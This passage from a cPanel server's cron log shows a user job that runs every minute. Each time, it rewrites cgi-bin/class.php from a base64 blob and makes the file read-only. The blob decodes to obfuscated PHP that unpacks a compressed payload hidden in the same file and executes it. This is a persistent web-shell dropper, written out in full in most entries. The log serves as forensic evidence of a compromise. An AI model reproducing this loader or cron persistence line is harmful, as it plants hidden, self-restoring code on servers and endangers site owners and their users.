QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:57:01 server CROND[11566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 07:57:01 server CROND[11567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:58:01 server CROND[11723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:59:01 server CROND[11785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:00:01 server CROND[11843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:00:01 server CROND[11845]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 08:00:01 server CROND[11847]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr  7 08:00:01 server CROND[11848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:00:01 server CROND[11850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:00:01 server CROND[11846]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 08:01:01 server CROND[11979]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 08:01:01 server CROND[11980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:01:01 server run-parts(/etc/cron.hourly)[11979]: starting 0anacron
Apr  7 08:01:01 server run-parts(/etc/cron.hourly)[11993]: finished 0anacron
Apr  7 08:02:01 server CROND[12051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:03:01 server CROND[12253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:04:01 server CROND[12305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:05:01 server CROND[12372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:05:01 server CROND[12371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:05:01 server CROND[12373]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 08:05:01 server CROND[12374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 08:05:01 server CROND[12376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:06:01 server CROND[12530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:07:01 server CROND[12591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:08:01 server CROND[12735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:09:01 server CROND[12782]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 08:09:01 server CROND[12783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:10:01 server CROND[12860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:10:01 server CROND[12861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
